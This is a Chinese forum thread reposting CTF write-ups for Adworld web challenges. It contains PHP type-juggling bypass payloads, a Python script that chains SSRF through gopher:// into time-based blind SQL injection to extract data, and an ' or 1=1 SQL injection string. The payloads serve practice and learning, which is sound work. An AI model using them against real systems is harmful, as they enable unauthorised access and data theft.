设为首页收藏本站
查看: 195|回复: 2

[转载] 攻防世界Web题目的wp

[复制链接]
  • TA的每日心情
    奋斗
    昨天 23:48
  • 签到天数: 61 天

    [LV.6]常住居民II

    发表于 2024-4-14 18:55:29 | 显示全部楼层 |阅读模式
    本帖最后由 alglsf666 于 2024-4-14 20:07 编辑

    1.easyphp:
          a又要大于6000000又要小于等于3位,直接1e9;
          这道题主要分为两部分,第一部分为$a 和$b的判断,很简单
            
          
    1. if(isset($a) && intval($a) > 6000000 && strlen($a) <= 3){  //长度不大于3 但是又需要大于6000000 通过科学计数法绕过,赋值$a=9e9
    2.             if(isset($b) && '8b184b' === substr(md5($b),-6,6)){ //直接通过脚本跑出来即可。如下脚本 $b=53724
    3.                 $key1 = 1;
    4.                 }else{
    5.                     die("Emmm...再想想");
    6.                 }
    7.             }else{
    8.             die("Emmm...");
    9.         }
    10. <?php
    11.       for ($b=0; $b < 100000; $b++) {
    12.            if(substr(md5($b),-6,6) ==='8b184b'){
    13.                echo $b;
    14.             }
    15.        }
    16. ?>//结果:53724
    复制代码

                
            所以第一部分payload为:?a=9e9&b=53724
            
            第二部分
            
          
    1. $c=(array)json_decode(@$_GET['c']);  //这一步最后再做,最后构造完毕后直接json_encode即可
    2.         if(is_array($c) && !is_numeric(@$c["m"]) && $c["m"] > 2022){ //$c需为数组。且存在m,m不能为数字,但是需大于2022.直接m赋值为2023a 即可。 当前$c = array( "m"=>'2023a');
    3.             if(is_array(@$c["n"]) && count($c["n"]) == 2 && is_array($c["n"][0])){ //$c 存在n为数组,n的值数量为2(非索引).n的第一个值为数组,(这里的0为索引)  。得到数组$c = array("m"=>'2023a',"n"=>array(array(),0));
    4.                 $d = array_search("DGGJ", $c["n"]);  //array_search 判断的方式相当于比较,判断$c["n"]中是否存在字符串"DGGJ",如果我们设置为0 .那么这个函数就会类型比较,从而将字符串转化为数值。而字符串"DGGJ"中无数字,故转为0  .和我们的数组内容相同。返回true.进行下一步。
    5.                 $d === false?die("no..."):NULL;
    6.                 foreach($c["n"] as $key=>$val){
    7.                     $val==="DGGJ"?die("no......"):NULL;//和上面判断相同。
    8.                 }
    9.                 $key2 = 1;
    10.             }else{
    11.                 die("no hack");
    12.             }
    13.         }else{
    14.             die("no");
    15.         }//最后得到$c = array("m"=>'2023a',"n"=>array(array(),0)); 通过echo json_encode($c); 获取payload.
    16.                 {"m":"2023a","n":[[],0]}
    复制代码



            得到完整payload:?a=9e9&b=53724&c={"m":"2023a","n":[[],0]}


    2.代码了注释掉了一个use.php,但是bp抓不到什么有用的
            只知道是SSRF,python搞起
          
    1. import urllib.parse
    2. import requests
    3. import time
    4. import base64

    5. url = "http://61.147.171.105:63397//use.php?url="#这里域名要改自己的
    6. flag = ""
    7. for pos in range(1, 50):
    8.     for i in range(33, 127):
    9.         poc = "') union select 1,2,if(ascii( substr((select * from flag)," + str(pos) + ",1) )=" + str(
    10.             i) + ",sleep(2),1) # "
    11.         bs = str(base64.b64encode(poc.encode("utf-8")), "utf-8")
    12.         final_poc = "gopher://127.0.0.1:80/_GET%20%2findex.php%20HTTP%2f1.1%250d%250aHost%3A%20localhost%3A80%250d%250aConnection%3A%20close%250d%250aContent-Type%3A%20application%2fx-www-form-urlencoded%250d%250aCookie%3A%20this%5Fis%5Fyour%5Fcookie%3D" + bs + "%3B%250d%250a"
    13.         t1 = time.time()
    14.         res = requests.get(url + final_poc)
    15.         t2 = time.time()
    16.         if (t2 - t1 > 2):
    17.             flag += chr(i)
    18.             print(flag)
    19.             break
    20. print(flag)
    复制代码


    3.inget
            SQL注入:
          
    1. ?id=' or 1=1 -- +
    复制代码
  • TA的每日心情
    奋斗
    昨天 23:48
  • 签到天数: 61 天

    [LV.6]常住居民II

     楼主| 发表于 2024-4-14 19:07:46 | 显示全部楼层
    本帖最后由 alglsf666 于 2024-4-16 22:26 编辑

    4.web2
            直接代码逆推
          
    1. <?php
    2. $miwen="a1zLbgQsCESEIqRLwuQAyMwLyq2L5VwBxqGA3RQAyumZ0tmMvSGM2ZwB4tws";
    3. $miwen=base64_decode(strrev(str_rot13($miwen)));

    4. $m=$miwen;

    5. for($i=0;$i<strlen($m);$i++){
    6. $_c=substr($m,$i,1);
    7. $__=ord($_c)-1;
    8. $__=chr($__);
    9. $_=$_.$__;
    10. }

    11. echo strrev($_);
    复制代码


    5.Robots
            访问robots.txt,看到f1ag_1s_h3re.php,再访问,得出flag

    6.get_post
            get简单访问?a=1
            post要用表单
          
    1. <!DOCTYPE html>
    2. <html>
    3. <head>
    4. <meta charset="utf-8">
    5. </head>
    6. <body>
    7.     <h2>表单</h2>
    8.     <form action="http://61.147.171.105:51280/?a=1" method="post">
    9.         <label for="b">b:</label>
    10.         <input type="text" id="b" name="b" required>
    11.         <input type="submit" value="提交">
    12.     </form>
    13. </body>
    14. </html>
    复制代码


    后续有时间再发
    回复 支持 反对

    使用道具 举报

  • TA的每日心情
    开心
    前天 08:24
  • 签到天数: 368 天

    [LV.9]以坛为家II

    发表于 2024-4-16 11:54:58 | 显示全部楼层
    谢谢分享,已回复。
    回复 支持 反对

    使用道具 举报

    您需要登录后才可以回帖 登录 | 注册

    本版积分规则

    红盟社区--红客联盟 

    Processed in 0.057763 second(s), 21 queries.

    站点统计| 举报| Archiver| 手机版| 黑屋 |   

    备案号:冀ICP备20006029号-1 Powered by HUC © 2001-2021 Comsenz Inc.

    手机扫我进入移动触屏客户端

    关注我们可获取更多热点资讯

    Honor accompaniments. theme macfee

    快速回复 返回顶部 返回列表